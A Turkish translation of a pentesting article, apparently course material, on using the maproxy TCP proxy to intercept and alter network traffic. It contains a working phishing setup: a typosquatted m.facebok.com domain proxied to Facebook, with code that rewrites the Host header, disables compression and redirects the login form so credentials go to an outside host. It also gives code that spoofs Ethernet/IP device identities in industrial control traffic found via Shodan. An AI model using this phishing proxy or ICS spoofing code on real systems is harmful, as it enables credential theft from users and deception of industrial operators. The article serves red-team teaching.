Ağ verilerini anında işleyin

Makalenin çevirisi kursun başlamasının arifesinde hazırlanmıştır. “Pentest. Sızma testi uygulaması".

Ağ verilerini anında işleyin

Soyut

Düzenli sızma testi ve Red Team operasyonlarından IoT/ICS cihazlarının ve SCADA'nın hacklenmesine kadar çeşitli güvenlik değerlendirmesi türleri, ikili ağ protokolleriyle çalışmayı, yani esas olarak istemci ile hedef arasındaki ağ verilerinin ele geçirilmesini ve değiştirilmesini içerir. Wireshark, Tcpdump veya Scapy gibi araçlarımız olduğundan ağ trafiğini koklamak zor bir iş değil, ancak ağ verilerini okumak, filtrelemek, değiştirmek için bir tür arayüze ihtiyacımız olacağından değişiklik yapmak daha emek yoğun bir iş gibi görünüyor anında ve neredeyse gerçek zamanlı olarak hedef ana bilgisayara geri gönderin. Ayrıca böyle bir aracın birden fazla paralel bağlantıyla otomatik olarak çalışabilmesi ve komut dosyaları kullanılarak özelleştirilebilmesi ideal olacaktır.

Bir gün adında bir araç keşfettim maproxy, belgeler bana şunu hemen açıkça ortaya koydu: maproxy - tam ihtiyacım olan şey. Bu oldukça basit, çok yönlü ve kolayca yapılandırılabilir bir TCP proxy'sidir. Bu aracı, çok sayıda paralel bağlantıyı işleyip işleyemeyeceğini görmek için ICS aygıtları da dahil olmak üzere (çok sayıda paket üreten) oldukça karmaşık birkaç uygulamada test ettim ve araç iyi performans gösterdi.

Bu makale size ağ verilerinin anında işlenmesini tanıtacaktır. maproxy.

Gözden

Araç maproxy Python'daki popüler ve olgun bir asenkron ağ çerçevesi olan Tornado'yu temel alır.

Genel olarak çeşitli modlarda çalışabilir:

  • TCP:TCP – şifrelenmemiş TCP bağlantıları;
  • TCP:SSL и SSL:TCP – tek yönlü şifrelemeyle;
  • SSL:SSL – iki yönlü şifreleme.

Kütüphane olarak geliyor. Hızlı bir başlangıç ​​için ana konuyu yansıtan örnek dosyaları kullanabilirsiniz. kütüphane fonksiyonları:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Durum 1 – basit çift yönlü proxy

Göre tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Varsayılan olarak ProxyServer() iki bağımsız değişken alır; bağlantı konumu ve hedef bağlantı noktası. server.listen() bir argüman alır - gelen bağlantıyı dinlemek için kullanılan bağlantı noktası.

Komut dosyasının yürütülmesi:

# python tcp2tcp.py

Testi çalıştırmak için proxy betiğimiz aracılığıyla yerel bir SSH sunucusuna bağlanacağız. 2222/tcp bağlantı noktası ve standart bir bağlantı noktasına bağlanır 22/tcp SSH sunucuları:

Ağ verilerini anında işleyin

Hoş geldiniz başlığı, örnek komut dosyamızın ağ trafiğini başarıyla proxy'lediğini size bildirir.

Durum 2 – veri değişikliği

Başka bir demo komut dosyası logging_proxy.py ağ verileriyle etkileşim kurmak için idealdir. Dosyadaki yorumlar, hedefinize ulaşmak için değiştirebileceğiniz sınıf yöntemlerini açıklar:

Ağ verilerini anında işleyin

En ilginç şey burada:

  • on_c2p_done_read – istemciden sunucuya giden yol boyunca verilere müdahale etmek;
  • on_p2s_done_read - tersine döndü.

Sunucunun istemciye döndürdüğü SSH başlığını değiştirmeyi deneyelim:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Komut dosyasını yürütün:

Ağ verilerini anında işleyin

Gördüğünüz gibi istemci, SSH sunucu adının şu şekilde değiştirilmesi nedeniyle yanıltıldı: «DumnySSH».

Ağ verilerini anında işleyin

Durum 3 – basit kimlik avı web sayfası

Bu aracı kullanmanın sonsuz yolu vardır. Bu sefer Kırmızı Takım operasyonları açısından daha pratik bir şeye odaklanalım. Açılış sayfasını taklit edelim m.facebook.com ve kasıtlı bir yazım hatası içeren özel bir alan adı kullanın; örneğin, m.facebok.com. Gösterim amacıyla, alan adının bizim tarafımızdan kaydedildiğini varsayalım.

Kurbanlarımızın proxy'si ve Facebook sunucusuna SSL Akışı ile şifrelenmemiş bir ağ bağlantısı kuracağız (31.13.81.36). Bu örneğin işe yaraması için, HTTP ana bilgisayar başlığını değiştirip doğru ana bilgisayar adını eklememiz gerekiyor ve ayrıca içeriğe kolayca erişebilmemiz için yanıt sıkıştırmayı da devre dışı bırakacağız. Son olarak, giriş bilgilerinin Facebook sunucuları yerine bize gönderilmesi için HTML formunu değiştireceğiz:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/tr/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Özetle:

Ağ verilerini anında işleyin

Gördüğünüz gibi orijinal siteyi başarıyla değiştirmeyi başardık.

Durum 4 – Ethernet/IP'nin Taşınması

Uzun süredir programlanabilir kontrolörler (PLC), I/O modülleri, sürücüler, röleler, ladder programlama ortamları ve çok daha fazlası gibi endüstriyel cihazlar ve yazılımlarla (ICS/SCADA) ilgileniyorum. Bu durum endüstriyel şeyleri sevenler içindir. Bu tür çözümleri hacklemek, ağ protokolleriyle aktif olarak oynamayı gerektirir. Aşağıdaki örnekte ICS/SCADA ağ trafiğini nasıl değiştirebileceğinizi göstermek istiyorum.

Bunu yapmak için aşağıdakilere ihtiyacınız var:

  • Ağ algılayıcısı, örneğin Wireshark;
  • Ethernet/IP veya yalnızca bir SIP cihazı, onu Shodan hizmetini kullanarak bulabilirsiniz;
  • Senaryomuz buna dayanıyor maproxy.

İlk olarak, CIP'den (Ortak Endüstriyel Protokol) gelen tipik bir tanımlama yanıtının nasıl göründüğüne bakalım:

Ağ verilerini anında işleyin

Cihaz tanımlama, CIP gibi kontrol protokollerini kapsayan endüstriyel Ethernet protokolünün geliştirilmiş bir versiyonu olan Ethernet/IP protokolü kullanılarak gerçekleştirilir. Ekran görüntüsünde görünen, vurgulanan kimlik adını değiştireceğiz "Ethernet için NI-IndComm" proxy betiğimizi kullanarak. Senaryoyu yeniden kullanabiliriz logging_proxy.py ve benzer şekilde sınıf yöntemini değiştirin on_p2s_done_readçünkü istemcide farklı bir kimlik adının görünmesini istiyoruz.

Kod:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Temel olarak, cihazın kimliğini iki kez sorduk, ikinci yanıt orijinal yanıttı ve ilk yanıt anında değiştirildi.

Ve son

Bence maproxy Yine Python'da yazılmış kullanışlı ve basit bir araç, dolayısıyla sizin de onu kullanmanın fayda sağlayacağına inanıyorum. Elbette, ağ verilerini işlemek ve değiştirmek için daha karmaşık araçlar vardır, ancak bunlar aynı zamanda daha fazla dikkat gerektirir ve genellikle belirli bir kullanım durumu için oluşturulur; muraena, Modlishka veya kötülük üçüncüye benzer durumlar için veya kanepe son durum için. Öyle ya da böyle, yardımla maproxy Örnek komut dosyaları çok açık olduğundan, ağ verilerini ele geçirmeye yönelik fikirlerinizi hızlı bir şekilde uygulayabilirsiniz.

Windows AD'de kimlik doğrulama mekanizmalarını test etme

Kaynak: habr.com

Yorum ekle